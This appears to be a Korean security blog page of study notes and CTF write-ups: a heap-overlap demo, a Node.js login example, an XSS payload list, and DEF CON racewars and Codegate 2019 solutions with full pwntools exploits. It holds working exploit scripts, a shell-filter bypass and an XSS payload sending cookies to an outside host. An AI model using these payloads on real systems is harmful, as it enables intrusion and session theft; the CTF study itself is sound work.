반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
	uint64_t *arr[5] = { NULL, };

	for(int i = 0; i < 5; i++){
		arr[i] = (uint64_t *)malloc(0x70);
		printf("arr[%d]: %p\n", i, arr[i]);
	}

	/*
	tcache bypass
	*/
	void *ptr[7] = { NULL, };
	void *ptr2[7] = { NULL, };
	for(int i = 0; i < 7; i++)
		ptr[i] = malloc(0x70);
	for(int i = 0; i < 7; i++)
		ptr2[i] = malloc(0xf0);

	for(int i = 0; i < 7; i++) {
		free(ptr[i]);
		free(ptr2[i]);
	}

	free(arr[3]);

	*(arr[1] - 1) = 0x101;
	free(arr[1]);

	*(arr[3] - 2) = 0x100;
	*(arr[3] - 1) &= -2;

	void *ptra = malloc(224);
	printf("ptr: %p\n", ptra);

	return 0;
}

 

tcache를 사용하지 않는 버전에서는 tcache bypass 부분을 제외하고 생각하면 된다.

 

이 기법은 아래대로 진행된다.

 

0. overlapping될 청크의 바로 다음 청크를 해제

1. 병합할 주소의 size에 값을 overlapping될 청크의 크기 + 현재 크기를 덮은 뒤 해제

2. overlapping될 청크의 바로 다음 청크의 prev_size, size를 덮음 (prev_inuse 제거)

 

'공부' 카테고리의 다른 글

Fuzzing paper  (0) 2021.03.02
stdin, stdout시 동적할당  (0) 2019.07.11
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
const express = require("express");
const mongoose = require("mongoose");
const bodyparser = require("body-parser");

const app = express();

app.use(bodyparser.urlencoded({	extended: true }));
app.use(express.static("public"));

mongoose.Promise = global.Promise;
mongoose.connect("mongodb://localhost/test", { useNewUrlParser: true })
	.then(() => console.log("connected mongoose"))
	.catch(e => console.log(e));

const db = mongoose.connection;
var UserScheme = mongoose.Schema({
	username: String,
	password: String
});
var User = mongoose.model("User", UserScheme);

app.get("/setadmin", (req, res) => {
	var admin = new User({ username: "admin", password: "admin" });
	admin.save((err, result) => {});
	res.send("Done");
});

app.get("/list", (req, res) => {
	User.find({}, (err, docs) => {
		res.send(docs);
	});
});

app.get("/", (req, res) => {
	res.send(`
	<html>
	<body>
		<form action="/login" method="POST">
			<input type="text" name="username">
			<input type="text" name="password">
			<input type="submit" value="login">
		</form>
	</body>
	</html>
	`);
});

app.post("/login", (req, res) => {
	var username = req.body.username;
	var password = req.body.password;

	console.log(username, password);
	console.log(typeof username, typeof password);
	if(typeof username !== "string" || typeof password !== "string") {
		res.send("login failed");
		return;
	}

	User.findOne({ username: username, password: password }).exec((err, result) => {
		if(result){
			res.send(`hello ${username}`);
		} else {
			res.send("login failed");
		}
	});
});

app.listen(3000);

자다가 배고파서 라면먹고 nodejs 공부나 해야겠다 싶어서 구글링 해가면서 20분만에 짠 코드

 

typeof를 사용해서 string 체크하는 방식으로 nosql injection을 막아봄.

 

 

'공부' 카테고리의 다른 글

stdin, stdout시 동적할당  (0) 2019.07.11
[how2heap] overlapping_chunks2  (0) 2019.05.22
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
유저 영역 Stack Canary 분석  (2) 2018.08.16
블로그 이미지

KuroNeko_

KuroNeko

,

xss payload

공부 2019. 4. 19. 00:15
반응형

uppercase


https://uppercase.canhack.me/?text=%3Cinput%20type=text%20onfocu%C5%BF=%22%26%23108;%26%23111;%26%2399;%26%2397;%26%23116;%26%23105;%26%23111;%26%23110;%26%2361;%26%2396;%26%23104;%26%23116;%26%23116;%26%23112;%26%23115;%26%2358;%26%2347;%26%2347;%26%23110;%26%23101;%26%23107;%26%23111;%26%23112;%26%2346;%26%23107;%26%23114;%26%2363;%26%2336;%26%23123;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%2399;%26%23111;%26%23111;%26%23107;%26%23105;%26%23101;%26%23125;%26%2396;%22%20autofocus%3E


İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k



<svg><script>&#97;lert('xss');</script></svg>


'공부' 카테고리의 다른 글

[how2heap] overlapping_chunks2  (0) 2019.05.22
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
블로그 이미지

KuroNeko_

KuroNeko

,

[defcon26] racewars

Write up/CTF 2019. 3. 25. 01:01
반응형

racewars



처음 푸는 defcon문제라 한껏 쫄아서 오디팅 열심히 해보고 익스까지 좀 시간이 걸렸던 문제다.

이 문제에서는 눈에 띄는 버그가 존재하지 않고 교묘하게 숨겨놓은 버그들의 체이닝으로 풀 수 있다.

첫 번째로 다음과 같은 코드가 존재한다.



사용자의 입력값으로부터 ooo_malloc을 수행해주는 것을 볼 수 있다.

해당 코드에선 취약점이 발생하지 않을 것처럼 보이지만 ooo_malloc내부에서 호출하는 custom_heap_malloc함수를 보면서 생각이 달라졌다.

만약 size가 0이 될 경우, 이후에 할당했을 때 주소를 가지게 되면서 이후 할당된 주소에 overlap된 만큼 r/w가 가능하게 된다.

즉, 0x20 * size를 했을 때 0이 되는 값을 찾으면 된다. 이 바이너리에서는 shl를 사용해 연산했으므로 아래와 같은 식이 구성된다.

(DWORD)(size << 5) == 0, 그러므로 대충 값을 2 << 30만해도 된다.


두번째로 다음과 같은 코드가 존재한다.

overlap된 메모리에서 변조가 일어나 byte0 구조체 변수를 음수로 변경할 수 있다면 아래의 a1->byte9[v2]에 의해 arbitrary r/w가 가능해진다. 그러므로 tires를 먼저 할당시켜준 후, transmission을 할당하면서 overlapping을 해준다면 음수로 변경이 가능해질 것이다.


이후에 arbitrary r/w가 주어졌으니 offset 계산을 위해 할당된 주소를 대충 구하고, puts와 같은 libc주소를 얻어온 후 이래저래 익스를 짜보면 아래와 같다.



from pwn import *

con = process("./racewars")

sl = con.sendlineafter

def tries(tr):
	sl("CHOICE: ", "1")
	sl("how many pairs of tires do you need?", str(tr))

def chassis():
	sl("CHOICE: ", "2")
	sl("eclipse\n", "1")

def engine():
	sl("CHOICE: ", "3")

def transmission(tr):
	sl("CHOICE: ", "4")
	sl("transmission? ", str(tr))

tries(536870912)
transmission(1)
chassis()
engine()

for i in xrange(1, 5):
	sl("CHOICE: ", "1")
	sl("CHOICE: ", str(i))
	sl(": ", str(0xffff))

# b *0x40155C
engine = ""
for i in range(8):
	sl("CHOICE: ", "4")
	sl("modify? ", str(-16 + i))
	con.recvuntil(" is ")
	engine += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

engine = u64(engine)
# 0x21a9318 - 0x21a92e8
transmission = engine - 0x30 + 0x09

print "engine: {:016x}".format(engine)

binary = ELF("./racewars")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_got = binary.got["puts"]
diff = transmission - puts_got - 1

puts = ""
for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	con.recvuntil(" is ")
	puts += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

puts = u64(puts)
exit_got = binary.got["exit"]
oneshot = puts - libc.symbols["puts"] + 0xf1147

print "puts: {:016x}".format(puts)
print "oneshot: {:016x}".format(oneshot)

diff = transmission - exit_got - 1

for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	sl("what?: ", str(ord(p64(oneshot)[i])))
	sl("set gear to ", "1")

sl("CHOICE: ", "5")
sl("CHOICE: ", "1")
sl("need?\n", "1")

con.interactive()


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

Codegate 2019 Writeup

1. MIC Check

  • base85 decode

2. 20000

  • 20000개의 library들이 존재하는데, 이 중에서 취약점을 찾아야한다.

    먼저, 주어진 library들을 실행시키는 20000 바이너리를 분석해보면 아래와 같다.

    signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     char *v3; // rax
     signed __int64 result; // rax
     void *v5; // rdi
     char *v6; // rax
     int v7; // [rsp+Ch] [rbp-94h]
     void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
     void *handle; // [rsp+18h] [rbp-88h]
     char s; // [rsp+20h] [rbp-80h]
     int v11; // [rsp+80h] [rbp-20h]
     int v12; // [rsp+84h] [rbp-1Ch]
     unsigned __int64 v13; // [rsp+88h] [rbp-18h]

     v13 = __readfsqword(0x28u);
     sub_400A06(a1, a2, a3);
     setvbuf(stdin, 0LL, 2, 0LL);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stderr, 0LL, 2, 0LL);
     memset(&s, 0, 0x60uLL);
     v11 = 0;
     printf("INPUT : ", 0LL, &v12);
     __isoc99_scanf("%d", &v7);
     if ( v7 <= 0 && v7 > 20000 )
    {
       printf("Invalid Input");
       exit(-1);
    }
     sprintf(&s, "./20000_so/lib_%d.so", (unsigned int)v7);
     handle = dlopen(&s, 1);
     if ( handle )
    {
       v5 = handle;
       v8 = (void (__fastcall *)(void *, const char *))dlsym(handle, "test");
       if ( v8 )
      {
         v8(v5, "test");
         dlclose(handle);
         result = 0LL;
      }
       else
      {
         v6 = dlerror();
         fprintf(stderr, "Error: %s\n", v6);
         dlclose(handle);
         result = 1LL;
      }
    }
     else
    {
       v3 = dlerror();
       fprintf(stderr, "Error: %s\n", v3);
       result = 1LL;
    }
     return result;
    }

  • 해당 libc_%d.so를 가져와 test함수를 실행시키는 방식이므로 아래와 같은 간단한 python 코드를 작성해 Bof와 같은 취약점이 존재하는지 확인해봤다.

    from pwn import *

    for i in range(1, 20001):
       con = process("./20000")
       con.sendlineafter("INPUT : ", str(i))
       con.sendlineafter("file?", "A" * 0x1000)
       con.interactive()
    [+] Starting local process './20000': pid 21041
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21041)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21045
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21045)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21049
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21049)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21053
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21053)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21057
    [*] Switching to interactive mode

    ls: cannot access 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@': No such file or directory
    [*] Process './20000' stopped with exit code 0 (pid 21057)
    [*] Got EOF while reading in interactive
    $
  • 위를 보다시피 lib_5.so파일에서 system 함수를 실행하는 것으로 추정되므로 해당 파일을 디컴파일해서 확인해보면 아래와 같이 lib_5091.so, lib_17470.so에서 filter함수를 얻어온 후, filtering을 거쳐 system함수를 실행한다.

    signed __int64 test()
    {
     char *v0; // rax
     signed __int64 result; // rax
     char *v2; // rax
     void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
     void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
     void *handle; // [rsp+10h] [rbp-A0h]
     void *v6; // [rsp+18h] [rbp-98h]
     char buf; // [rsp+20h] [rbp-90h]
     __int16 v8; // [rsp+50h] [rbp-60h]
     char s; // [rsp+60h] [rbp-50h]
     __int16 v10; // [rsp+90h] [rbp-20h]
     unsigned __int64 v11; // [rsp+98h] [rbp-18h]

     v11 = __readfsqword(0x28u);
     memset(&buf, 0, 0x30uLL);
     v8 = 0;
     memset(&s, 0, 0x30uLL);
     v10 = 0;
     handle = dlopen("./20000_so/lib_5091.so", 1);
     if ( handle )
    {
       v3 = (void (__fastcall *)(char *, char *))dlsym(handle, "filter1");
       v6 = dlopen("./20000_so/lib_17470.so", 1);
       if ( v6 )
      {
         v4 = (void (__fastcall *)(char *))dlsym(v6, "filter2");
         puts("This is lib_5 file.");
         puts("How do you find vulnerable file?");
         read(0, &buf, 0x32uLL);
         v3(&buf, &buf);
         v4(&buf);
         sprintf(&s, "ls \"%s\"", &buf);
         system(&s);
         dlclose(handle);
         dlclose(v6);
         result = 0LL;
      }
       else
      {
         v2 = dlerror();
         fprintf(stderr, "Error: %s\n", v2);
         result = 0xFFFFFFFFLL;
      }
    }
     else
    {
       v0 = dlerror();
       fprintf(stderr, "Error: %s\n", v0);
       result = 0xFFFFFFFFLL;
    }
     return result;
    }
  • 해당 함수를 살펴보면 아래와 같은 필터링을 하게 되는데, 여기서 single character wildcard인 "?"를 검사하지 않아 원하는 명령을 강제로 수행하게 만들어 줄 수 있다.

    // lib_5091.so filter1
    char *__fastcall filter1(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, ';') )
       exit(0);
     if ( strchr(a1, '*') )
       exit(0);
     if ( strchr(a1, '|') )
       exit(0);
     if ( strchr(a1, '&') )
       exit(0);
     if ( strchr(a1, '$') )
       exit(0);
     if ( strchr(a1, '`') )
       exit(0);
     if ( strchr(a1, '>') )
       exit(0);
     if ( strchr(a1, '<') )
       exit(0);
     result = strchr(a1, 'r');
     if ( result )
       exit(0);
     return result;
    }

    // lib_17470.so filter2
    char *__fastcall filter2(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, 'v') )
       exit(0);
     if ( strchr(a1, 'm') )
       exit(0);
     if ( strchr(a1, 'p') )
       exit(0);
     if ( strchr(a1, 'd') )
       exit(0);
     if ( strchr(a1, 'n') )
       exit(0);
     if ( strstr(a1, "bin") )
       exit(0);
     if ( strstr(a1, "sh") )
       exit(0);
     if ( strstr(a1, "bash") )
       exit(0);
     if ( strchr(a1, 'f') )
       exit(0);
     if ( strchr(a1, 'l') )
       exit(0);
     result = strchr(a1, 'g');
     if ( result )
       exit(0);
     return result;
    }
  • 즉, /bi?/?at ???? (/bin/cat flag)과 같은 공격이 가능해지므로 아래의 공격코드를 구성해서 실행시키면 플래그를 획득할 수 있다.

    from pwn import *

    con = remote("110.10.147.106", 15959)

    con.sendlineafter("INPUT : ", "9")
    con.sendline("\"\n/bi?/?at ????")

    con.interactive()

3. aeiou

  • pthread, tcb, stack canary, buffer overflow

  • 문제 바이너리와 libc가 주어졌다. 바이너리는 아래와 같은 mitigation이 걸려있는 것을 볼 수 있다.

    이제 aeiou 바이너리를 디컴파일해서 분석을 하다보면 아래와 같은 bof가 발생하는 함수를 만나게 된다.

    int teach()
    {
     int result; // eax
     pthread_t newthread; // [rsp+0h] [rbp-10h]
     unsigned __int64 v2; // [rsp+8h] [rbp-8h]

     v2 = __readfsqword(0x28u);
     pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
     result = pthread_join(newthread, 0LL);
     if ( result )
    {
       puts("oooooh :(");
       result = 1;
    }
     return result;
    }

    void *__fastcall start_routine(void *a1)
    {
     unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
     char s[4104]; // [rsp+10h] [rbp-1010h]
     unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

     v4 = __readfsqword(0x28u);
     memset(s, 0, 0x1000uLL);
     puts("Hello!");
     puts("Let me know the number!");
     v2 = readstr();
     if ( v2 <= 0x10000 )
    {
       sub_401170(0, s, v2);
       puts("Thank You :)");
    }
     else
    {
       puts("Too much :(");
    }
     return 0LL;
    }
  • 이 때, stack canary가 존재해서 leak이 없는 이상 공격이 힘들 것 같지만 canary는 TCB의 특정 8byte를 사용하게 된다. TCB(Thread Control Block)은 thread가 생성될 때마다 thread stack과 같이 생성되며 thread stack 최하단에 존재한다. 그러므로 tcb가 덮힐정도의 overflow를 해주면 해당 thread에서 stack canary를 무력화되게 된다. 아래는 해당 개념을 사용한 공격코드이다.

    from pwn import *

    debug = True

    con = process("./aeiou", env={"LD_PRELOAD": "./libc.so"})

    binary = ELF("./aeiou")
    libc = ELF("./libc.so")

    con.sendlineafter(">>", "3")

    csu_init = 0x4026EA
    trigger = 0x4026D0

    payload = ""
    payload += "A" * 0x1018
    payload += p64(csu_init)
    payload += p64(0) #x
    payload += p64(1) #p
    payload += p64(binary.got["read"]) #12
    payload += p64(0x100) #13
    payload += p64(binary.bss() + 0x100) #14
    payload += p64(0) #15
    payload += p64(trigger)
    payload += p64(0x4141) # dummy

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["puts"])
    payload += p64(0) * 2
    payload += p64(binary.got["read"])
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["read"])
    payload += p64(0x100)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(0)
    payload += p64(binary.bss() + 0x100)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0) * 6
    payload += p64(0x400E9A)

    payload = payload.ljust(0x2000, "A")

    con.sendlineafter("number!", str(0x2000))
    con.send(payload)

    con.send("/bin/sh\x00")
    con.recvuntil("Thank You :)\n")

    # 0x402340
    libcbase = u64(con.recv(8)[:-1].ljust(8, "\x00")) - libc.symbols["read"]
    system = libcbase + libc.symbols["system"]
    oneshot= libcbase + 0x4526a
    malloc_hook = libcbase + libc.symbols["__malloc_hook"]

    print "off: {:016x}".format(libc.symbols["read"])
    print "libc: {:016x}".format(libcbase)
    print "system: {:016x}".format(system)
    print "malloc_hook: {:016x}".format(malloc_hook)

    con.send(p64(oneshot))

    con.interactive()

4. archiver

  • C++ binary, Out-of-bound

  • 해당 바이너리를 분석하기 위해 vtable 구조체와 멤버변수 구조체를 선언을 한 다음, 함수들을 분석해보면 아래의 decompress함수가 보이게 된다.

    __int64 __fastcall Compress::decompress(Compress *compress)
    {
     unsigned __int8 v2; // [rsp+6Ch] [rbp-24h]
     unsigned __int8 v3; // [rsp+6Dh] [rbp-23h]
     char v4; // [rsp+6Eh] [rbp-22h]
     uint8_t v5; // [rsp+6Fh] [rbp-21h]
     unsigned __int64 v6; // [rsp+70h] [rbp-20h]
     __int64 magic; // [rsp+78h] [rbp-18h]
     Compress *v8; // [rsp+80h] [rbp-10h]
     char v9; // [rsp+8Fh] [rbp-1h]

     v8 = compress;
     magic = 0LL;
     v6 = 0LL;
     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&magic, 8LL) & 1 )
    {
       if ( magic == 0x393130322394D3C0LL )
      {
         if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v6, 8LL) & 1 )
        {
           if ( v6 & 7 )
          {
             v9 = 0;
          }
           else
          {
             while ( 2 )
            {
               if ( 8 * compress->field_1A0 >= v6 )
              {
                 v9 = 1;
              }
               else
              {
                 compress->filemanager->vtable->read(compress->filemanager, (char *)&v5, 1LL);
                 v4 = v5 >> 6;
                 switch ( (unsigned __int64)(v5 >> 6) )
                {
                   case 0uLL:
                     if ( compress->vtable->set8byte_by_file(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 1uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v2, 1LL) & 1 )
                    {
                       if ( compress->vtable->set8byte(compress, v3, v2) & 1 )
                         continue;
                       v9 = 0;
                    }
                     else
                    {
                       v9 = 0;
                    }
                     break;
                   case 2uLL:
                     if ( compress->vtable->clear(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 3uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->vtable->spray_8byte(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   default:
                     v9 = 0;
                     break;
                }
              }
               break;
            }
          }
        }
         else
        {
           v9 = 0;
        }
      }
       else
      {
         printf("bad magic %p\n", magic);
         v9 = 0;
      }
    }
     else
    {
       v9 = 0;
    }
     return v9 & 1;
    }
  • 위의 코드를 참조해 아래의 파일구조를 사용해야됌을 알 수 있다.

    File Structure
    Magic
    compressed_size
    compressed data
    ...
  • decompress를 진행할 때는 compressed data를 파싱해서 파일에서 1byte를 읽어 상위 2bit는 해당 함수들을 실행시키도록 구성되어있고, 필요에 따라서 1byte를 더 읽어 처리하기도 한다.

    각각 함수들을 분석해보면 아래와 같은 함수를 볼 수 있다.

    __int64 __fastcall Compress::set8byte(Compress *a1, unsigned __int8 a2, unsigned __int8 a3)
    {
     char v4; // [rsp+27h] [rbp-1h]

     if ( a1->field_1A0 >= (unsigned __int64)a3 )
    {
       a1->field_10[a2] = a1->field_190[a1->field_1A0 - a3];
       v4 = 1;
    }
     else
    {
       v4 = 0;
    }
     return v4 & 1;
    }
  • 위의 함수는 총 2byte를 사용하는 함수이며, a2는 해당 함수를 호출할 때 사용됐던 byte, a3는 추가적으로 읽은 byte를 사용하게 된다. 즉, field_10 배열의 max index(0~47)보다 큰 곳을 참조할 수 있게 되므로 field_190에 원하는 8byte 값을 저장해둔다음 아래의 Compress 구조체가 보여주는 것처럼 uncompress_msg 함수 포인터를 덮어씌워주면 된다.

    struct FileManager
    {
     vtable *vtable;
     std::istream *istream;
     __int64 offset;
    };

    struct Compress
    {
     vtable_compress *vtable;
     FileManager *filemanager;
     __int64 field_10[48]; // overflow possible
     uint64_t *field_190;
     __int64 field_198;
     __int64 field_1A0;
     __int64 uncompressed_size;
     void (__fastcall *uncompressed_msg)(__int64); // target
    };
  • 해당 바이너리에는 win이라는 system함수를 실행시켜주는 함수가 존재하므로 해당 함수 주소를 field_190에 저장해둔 뒤 overflow를 시켜주면 될 것이다.

    from pwn import *

    con = remote("110.10.147.111", 4141)

    size = 0x400 - 0x50

    ar = p64(0x393130322394D3C0) # magic
    ar += p64(size) # compress_size

    # save uncompressed_msg in heap
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110100) # spray 8byte (0x34)

    # uncompressed_size overwrite
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    for i in range(0x21):
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    #r = size - len(ar) - 3
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110011) # spray system("cat flag")

    # uncompressed_msg overwrite
    ar += p8(0b01000000 | 0b00110100)
    ar += p8(0x01)

    ar += p8(0x41)

    print len(ar)

    with open("payload", "wb") as f:
    f.write(ar)

    con.send(p32(len(ar)))
    con.send(ar)

    con.interactive()

5. PyProt3ct

  • python vm reversing

  • 문제에서 2개의 python 파일, byte code binary를 제공한다. 해당 파일들을 분석하기 위해 play.py를 먼저 살펴보면 난독화가 되어있는 것을 볼 수 있다.

    # ...
    def O0O0O0O00OO0O0O0O(OOO0OO0O000O0OOOO ,OOO0O0000OOOO0OO0):
       O0O0O0000OO0OOO0O=dict()
       OOOO0000OOO0OOO0O=1000
       OOOO0OO00OOOO000O=1001
       O00OOO0O00OOOOO0O=2001
       OO0OO00000000O00O=2002
       O0OO0OO0000O0O0OO=2003
       O0O000OOO0OOOO0OO=2004
       O000OOO00OOO0O00O=0
       OOO0OO0OO0OOO00O0=1
       O0OOOOOOOOO00OOOO=2
       OO0O0O0000000O00O=3
       OOO0OO00OOOO0O0OO=4
       O00OO0OO0O0O00OOO=5
       O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]=0
       O0O0O0000OO0OOO0O[OOOO0OO00OOOO000O]=0
       O0O0O0000OO0OOO0O["flag"]=OOO0O0000OOOO0OO0
       OOO000O0O0OOO0OOO=0
       while OOO000O0O0OOO0OOO==0:
           O00OOO00000OO0OOO=O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]
           OO0OO0OOOOO00OO00=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
           OO000O0OOOOOOO0OO=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
    # ...
  • 먼저 분석에 용이하도록 각각 함수들을 func%d 형태로 작성해주고 변수들또한 renaming을 해준 뒤, 각각 함수들이 하는 일들을 print를 통해 출력하고 파일로 뽑아냈다.

  • 해당 파일을 분석하기 위해서 열어보면 수많은 명령어들이 수행됐던 것을 볼 수 있는데, 의미 없는 대입 연산을 제거하여 패턴을 파악하기 쉽게 만들고, 코드의 중첩되는 부분을 함수형태로 생각하게 되면서 빠르게 분석이 가능해졌다. 코드들을 분석한 뒤, 암호화를 아래의 python코드로 구성했다

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    print hex(getHash("AAAAAAAA"))
  • 위의 암호화는 상위, 하위 4byte를 특정 연산 후 뒤집어 저장하는 형태를 가지며, v의 하위 1byte를 최상의 byte로 가져온다. 이 때 1bit는 하위에 계속 머물게 된다. 이 연산은 어느정도 최종값을 알고 있다면 역연산이 가능할 것으로 보여 분석을 해봤다.

  • 먼저 하위 1 bit의 처리를 해야하는데, 이는 msB가 홀수일 경우, 나머지 7byte에서 8byte쪽에 0x01을 or시켜주면 된다. 이렇게 처리하면 이전에 사용한 값을 구할 수 있게 된다.

    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
       etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
  • 해당 값(value)을 상위, 하위 4byte로 low, high로 받아와준 뒤, calc함수에서 처음에 진행한 연산을 역연산해서 다시 조합해주면 그 이전 상태의 값이 나오게 된다.

    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low
  • 그러므로 총 127번 위의 과정을 반복해주면 암호화 이전 값이 나오게 될 것이다. 아래는 최종 복호화 코드다.

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    def revcalc(r):
    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
    etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low

    def getHashRev(value):
    for i in range(127):
    value = revcalc(value)
    return p64(value)[::-1]

    print getHashRev(0xd274a5ce60ef2dca)

    flag: d34dPY27

6. god-the-reum

  • glibc heap exploit(tcache)

  • 이 문제는 tcache가 적용된 libc-2.27.so가 사용되었다. 기존 heap exploit기법들에 추가적으로 공격가능한 게 추가되었는데, 이는 fast bin 크기 정도의 tcache bin이 사용되는 걸 악용해야한다. 주어진 바이너리를 분석해보자.

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     int v3; // ST18_4
     int v4; // ST18_4
     int v6; // ST18_4
     char v7[88]; // [rsp+20h] [rbp-60h]
     unsigned __int64 v8; // [rsp+78h] [rbp-8h]
     __int64 savedregs; // [rsp+80h] [rbp+0h]

     v8 = __readfsqword(0x28u);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stdin, 0LL, 2, 0LL);
     while ( 1 )
    {
       printmenu();
       while ( getchar() != 10 )
        ;
       switch ( (unsigned int)&savedregs )
      {
         case 1u:
           create_wallet((wallet *)&v7[16 * wallet_count]);
           break;
         case 2u:
           v3 = sub_11DC();
           deposit((wallet *)&v7[16 * v3]);
           break;
         case 3u:
           v4 = sub_11DC();
           withdraw((wallet *)&v7[16 * v4]);
           break;
         case 4u:
           show((__int64)v7);
           break;
         case 5u:
           puts("bye da.");
           return 0LL;
         case 6u:
